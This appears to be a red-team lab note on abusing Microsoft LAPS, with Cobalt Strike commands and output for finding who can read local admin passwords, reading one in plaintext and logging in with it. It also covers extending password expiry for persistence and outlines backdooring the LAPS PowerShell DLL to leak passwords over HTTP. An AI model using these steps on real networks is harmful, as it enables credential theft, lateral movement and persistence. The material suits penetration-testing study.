02-Infrastructure, 02-Active Directory

Description: Β 

Organizations will often have a β€œgolden image” of a desktop or laptop setup and usually they will use a common administrator password across all systems to ensure consistency and compliance. However this can result in every machine having the same password and allow an attacker to laterally move from system to system.

LAPS is a Microsoft solution for managing the credentials of a local administrator account on every machine, either the default RID 500 or a custom account. It ensures that the password for each account is different, random, and automatically changed on a defined schedule. Permissions to request and reset the credentials can be delegated, which are also auditable.

How it works:

  1. Β The Active Directory schema is extended and adds two new properties to computer objects, called ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime.
  2. Β By default, the DACL on ms-Mcs-AdmPwd only grants read access to Domain Admins. Β Each computer object is given permission to update these properties on itself.
  3. Β Rights to read AdmPwd can be delegated to other principals (users, groups etc), which is typically done at the OU level.
  4. Β A new GPO template is installed, which is used to deploy the LAPS configuration to machines (different policies can be applied to different OUs).
  5. Β The LAPS client is also installed on every machine (commonly distributed via GPO or a third-party software management solution).
  6. Β When a machine performs a gpupdate, it will check the AdmPwdExpirationTime property on its own computer object in AD. If the time has elapsed, it will generate a new password (based on the LAPS policy) and sets it on the ms-Mcs-AdmPwd property.

There are a few methods to hunt for the presence of LAPS. If its applied to a machine that you have access to AdmPwd.dll will be on disk.

beacon> run hostname
wkstn-2
beacon> ls C:\Program Files\LAPS\CSE
Β Size Β  Β  Type Β  Β Last Modified Β  Β  Β  Β  Name
Β ---- Β  Β  ---- Β  Β ------------- Β  Β  Β  Β  ----
Β 179kb Β  Β fil Β  Β  05/05/2021 07:04:14 Β  AdmPwd.dll
 

We can also search for LAPS GPO

beacon> powershell Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
usncreated Β  Β  Β  Β  Β  Β  Β  : 25966
displayname Β  Β  Β  Β  Β  Β  Β : LAPS
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{C6DC5466-785
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β A-11D2-84D0-00C04FB169F7}{942A8E4F-A261-11D1-A760-00C04FB9603F}][{D76B9641-3288-4F75-942D-08
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β 7DE603E3EA}{D02B1F72-3407-48AE-BA88-E8213C6761F1}]
whenchanged Β  Β  Β  Β  Β  Β  Β : 8/16/2022 12:39:45 PM
objectclass Β  Β  Β  Β  Β  Β  Β : {top, container, groupPolicyContainer}
gpcfunctionalityversion Β : 2
showinadvancedviewonly Β  : True
usnchanged Β  Β  Β  Β  Β  Β  Β  : 26068
dscorepropagationdata Β  Β : {9/7/2022 1:05:58 PM, 1/1/1601 12:00:00 AM}
name Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  : {2BE4337D-D231-4D23-A029-7B999885E659}
flags Β  Β  Β  Β  Β  Β  Β  Β  Β  Β : 1
cn Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  : {2BE4337D-D231-4D23-A029-7B999885E659}
gpcfilesyspath Β  Β  Β  Β  Β  : \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}
distinguishedname Β  Β  Β  Β : CN={2BE4337D-D231-4D23-A029-7B999885E659},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io
whencreated Β  Β  Β  Β  Β  Β  Β : 8/16/2022 12:20:45 PM
versionnumber Β  Β  Β  Β  Β  Β : 17
instancetype Β  Β  Β  Β  Β  Β  : 4
objectguid Β  Β  Β  Β  Β  Β  Β  : bbe274cc-6fcc-4e17-8804-bdc0ae952515
objectcategory Β  Β  Β  Β  Β  : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=cyberbotic,DC=io
 

As well as computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null. Any domain user can read this property.

beacon> powershell Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName
 
dnshostname Β  Β  Β  Β  Β  Β  Β 
----------- Β  Β  Β  Β  Β  Β  Β 
wkstn-2.dev.cyberbotic.io
web.dev.cyberbotic.io Β  Β 
sql-2.dev.cyberbotic.io Β 
wkstn-1.dev.cyberbotic.io
 

If we locate the correct GPO, we can download the LAPS configuration from the gpcfilesyspath.

beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine
 
Β Size Β  Β  Type Β  Β Last Modified Β  Β  Β  Β  Name
 
Β ---- Β  Β  ---- Β  Β ------------- Β  Β  Β  Β  ----
 
Β  Β  Β  Β  Β  dir Β  Β  08/16/2022 12:39:19 Β  Applications
 
Β  Β  Β  Β  Β  dir Β  Β  09/13/2022 15:38:58 Β  Microsoft
 
Β  Β  Β  Β  Β  dir Β  Β  08/16/2022 12:23:37 Β  Preferences
 
Β  Β  Β  Β  Β  dir Β  Β  08/16/2022 12:21:04 Β  Scripts
 
Β 575b Β  Β  fil Β  Β  08/16/2022 12:22:23 Β  comment.cmtx
 
Β 920b Β  Β  fil Β  Β  08/16/2022 12:22:23 Β  Registry.pol
 
  
 
beacon> download \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol
 
[*] started download of \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol (920 bytes)
 
[*] download of Registry.pol is complete
 

Registry.pol

The Parse-PolFile cmdlet from the GPRegistryPolicyParser package can be used to convert this file into human-readable format.

 
PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol
 
  
 
KeyName Β  Β  : Software\Policies\Microsoft Services\AdmPwd
 
ValueName Β  : PasswordComplexity
 
ValueType Β  : REG_DWORD
 
ValueLength : 4
 
ValueData Β  : 3
 
  
 
KeyName Β  Β  : Software\Policies\Microsoft Services\AdmPwd
 
ValueName Β  : PasswordLength
 
ValueType Β  : REG_DWORD
 
ValueLength : 4
 
ValueData Β  : 14
 
  
 
KeyName Β  Β  : Software\Policies\Microsoft Services\AdmPwd
 
ValueName Β  : PasswordAgeDays
 
ValueType Β  : REG_DWORD
 
ValueLength : 4
 
ValueData Β  : 30
 
  
 
KeyName Β  Β  : Software\Policies\Microsoft Services\AdmPwd
 
ValueName Β  : AdminAccountName
 
ValueType Β  : REG_SZ
 
ValueLength : 20
 
ValueData Β  : LapsAdmin
 
  
 
KeyName Β  Β  : Software\Policies\Microsoft Services\AdmPwd
 
ValueName Β  : AdmPwdEnabled
 
ValueType Β  : REG_DWORD
 
ValueLength : 4
 
ValueData Β  : 1
 
  
 
KeyName Β  Β  : Software\Policies\Microsoft Services\AdmPwd
 
ValueName Β  : PwdExpirationProtectionEnabled
 
ValueType Β  : REG_DWORD
 
ValueLength : 4
 
ValueData Β  : 0
 

This tells us that:

  • Β  Password complexity is upper, lower and numbers.

  • Β  Password length is 14.

  • Β  Passwords are changed every 30 days.

  • Β  The LAPS managed account name is LapsAdmin.

  • Β  Password expiration protection is disabled.

ms-Mcs-AdmPwd

We can use powershell to objects that are allowed to read the ms-Mcs-AdmPwd attribute by reading its DACL on each computer object.

 
beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier
 
  
 
ObjectDN Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β SecurityIdentifier Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β 
 
-------- Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β ------------------ Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β 
 
CN=WKSTN-2,OU=Workstations,DC=dev,DC=cyberbotic,DC=io Β  Β  Β  Β  S-1-5-21-569305411-121244042-2357301523-1107
 
CN=WEB,OU=Web Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io Β  S-1-5-21-569305411-121244042-2357301523-1108
 
CN=SQL-2,OU=SQL Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io S-1-5-21-569305411-121244042-2357301523-1108
 
CN=WKSTN-1,OU=Workstations,DC=dev,DC=cyberbotic,DC=io Β  Β  Β  Β  S-1-5-21-569305411-121244042-2357301523-1107
 
  
 
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
 
DEV\Developers
 
  
 
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1108
 
DEV\Support Engineers
 

Dedicated tooling such as the LAPSToolkit also exist. Β Find-LAPSDelegatedGroups will query each OU and find domain groups that have delegated read access.

 
beacon> powershell-import C:\Tools\LAPSToolkit\LAPSToolkit.ps1
 
beacon> powershell Find-LAPSDelegatedGroups
 
  
 
OrgUnit Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β Delegated Groups Β  Β 
 
------- Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β ---------------- Β  Β 
 
OU=Workstations,DC=dev,DC=cyberbotic,DC=io Β  Β  Β  Β  Β  DEV\Developers Β  Β  Β 
 
OU=Servers,DC=dev,DC=cyberbotic,DC=io Β  Β  Β  Β  Β  Β  Β  Β DEV\Support Engineers
 
OU=Web Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io DEV\Support Engineers
 
OU=SQL Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io DEV\Support Engineers
 

Find-AdmPwdExtendedRights goes a little deeper and queries each individual computer for users that have β€œAll Extended Rights”. Β This will reveal any users that can read the attribute without having had it specifically delegated to them.

To get a computer’s password, simply read the attribute.

 
beacon> getuid
 
[*] You are DEV\bfarmer
 
  
 
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd
 
  
 
ms-mcs-admpwd
 
-------------
 
1N3FyjJR5L18za
 

In Cobalt Strike the make_token command is an easy way to leverage it

 
beacon> make_token .\LapsAdmin 1N3FyjJR5L18za
 
[+] Impersonated DEV\bfarmer
 
  
 
beacon> ls \\wkstn-1\c$
 
[*] Listing: \\wkstn-1\c$\
 
  
 
Size Β  Β  Type Β  Β Last Modified Β  Β  Β  Β  Name
 
---- Β  Β  ---- Β  Β ------------- Β  Β  Β  Β  ----
 
Β  Β  Β  Β  Β  dir Β  Β  08/16/2022 08:17:30 Β  $Recycle.Bin
 
Β  Β  Β  Β  Β  dir Β  Β  08/15/2022 22:22:31 Β  $WinREAgent
 
Β  Β  Β  Β  Β  dir Β  Β  01/27/2022 18:18:49 Β  Documents and Settings
 
Β  Β  Β  Β  Β  dir Β  Β  12/07/2019 09:14:52 Β  PerfLogs
 
Β  Β  Β  Β  Β  dir Β  Β  08/22/2022 00:15:03 Β  Program Files
 
Β  Β  Β  Β  Β  dir Β  Β  10/06/2021 13:57:25 Β  Program Files (x86)
 
Β  Β  Β  Β  Β  dir Β  Β  09/14/2022 09:50:27 Β  ProgramData
 
Β  Β  Β  Β  Β  dir Β  Β  08/17/2022 17:52:54 Β  Recovery
 
Β  Β  Β  Β  Β  dir Β  Β  09/14/2022 09:35:54 Β  System Volume Information
 
Β  Β  Β  Β  Β  dir Β  Β  08/16/2022 08:15:58 Β  Users
 
Β  Β  Β  Β  Β  dir Β  Β  09/09/2022 10:38:50 Β  Windows
 
Β 8kb Β  Β  Β fil Β  Β  09/14/2022 08:12:19 Β  DumpStack.log.tmp
 
Β 796mb Β  Β fil Β  Β  09/14/2022 08:12:19 Β  hiberfil.sys
 
Β 704mb Β  Β fil Β  Β  09/14/2022 08:12:19 Β  pagefile.sys
 
Β 16mb Β  Β  fil Β  Β  09/14/2022 08:12:19 Β  swapfile.sys
 

Password Expiration Protection

One of the LAPS policy settings is called β€œDo not allow password expiration time longer than required by policy”. In short, this is the PwdExpirationProtectionEnabled configuration that we read from the Registry.pol file. When enabled this polucy prevents a user or computer setting the expiration date of a password beyond the password age specified in the PasswordAgeDays setting.

For example here: Registry.pol. The PasswordAgeDays is set to 30 days. So if a password was set on Jan 1st 2022 it expires on Jan 31st 2022. If the password expiration protection is enabled and we attempt to modify its expiration date beyond 31st January, it would trigger an automatic reset of that password.

The Password Expiration Protection is not configured / disabled by default.

If we were able to compromise a workstation using its LAPS password we can set its expiration long into the future as a form of persistence. The expiration data is an 18 digit timestamp calculated as the number of 100-nanosecond intervals that have elapsed since Jan 1st 1601 (NOT SURE WHY ITS 1601).

 
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
 
  
 
ms-mcs-admpwdexpirationtime ms-mcs-admpwd
 
--------------------------- -------------
 
Β  Β  Β  Β  Β 133101494718702551 1N3FyjJR5L18za
 

Where 133101494718702551 is Thursday, 13 October 2022 15:44:31 GMT using the following converter: https://www.epochconverter.com/ldap

So if we want to push the expiry out by 10 years we can overwrite tis value with 136257686710000000 Every computer has delegated access to write to this password field, so we must elevate to SYSTEM on the workstation.

 
beacon> run hostname
 
wkstn-1
 
  
 
beacon> getuid
 
[*] You are NT AUTHORITY\SYSTEM (admin)
 
  
 
beacon> powershell Set-DomainObject -Identity wkstn-1 -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose
 
Setting 'ms-Mcs-AdmPwdExpirationTime' to '136257686710000000' for object 'WKSTN-1$'
 

LAPS Backdoors

We can leverage LAPS Powershell cmdlet Get-AdmPwdPassword. If installed on a machine, the LAPS Powershell modules can be found under C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS

Since Powershell uses the .NET Framwork, the DLLs here are written in C# which makes them fairly trivial to download, modify and reupload. Download AdmPwd.PS.dll and AdmPwd.Utils.dll, synce them to your attacking machine and open AdmPwd.PS.dll with dnSpy. Using the Assembly Explorer to drill down into the DLL, namespaces and classes until you find the GetPassword method.

This method called DirectoryUtils.GetPasswordInfo which returns a Password Info object. You can click on the name and dnSpy will take you to the class definition. It contains properties for ComputerName, DistingustedName, Password, and ExpirationTimestamp. The password is simply the plaintext password that is shown to the admin.

Lets modify the code to send the plaintext passwords to us over an HTTP Get request.

NOTICE: This is obviously an irresponsible method to use in the real world, because the plaintext password is being sent unencrypted over the wire. Β This is just an example.


Resources:

| Title | URL |

| ----- | --- |

| LAPSToolkit | https://github.com/leoloobeek/LAPSToolkit |

|GPRegistryPolicyParser |https://github.com/PowerShell/GPRegistryPolicyParser|

Also Check Out:

  • PLACEHOLDER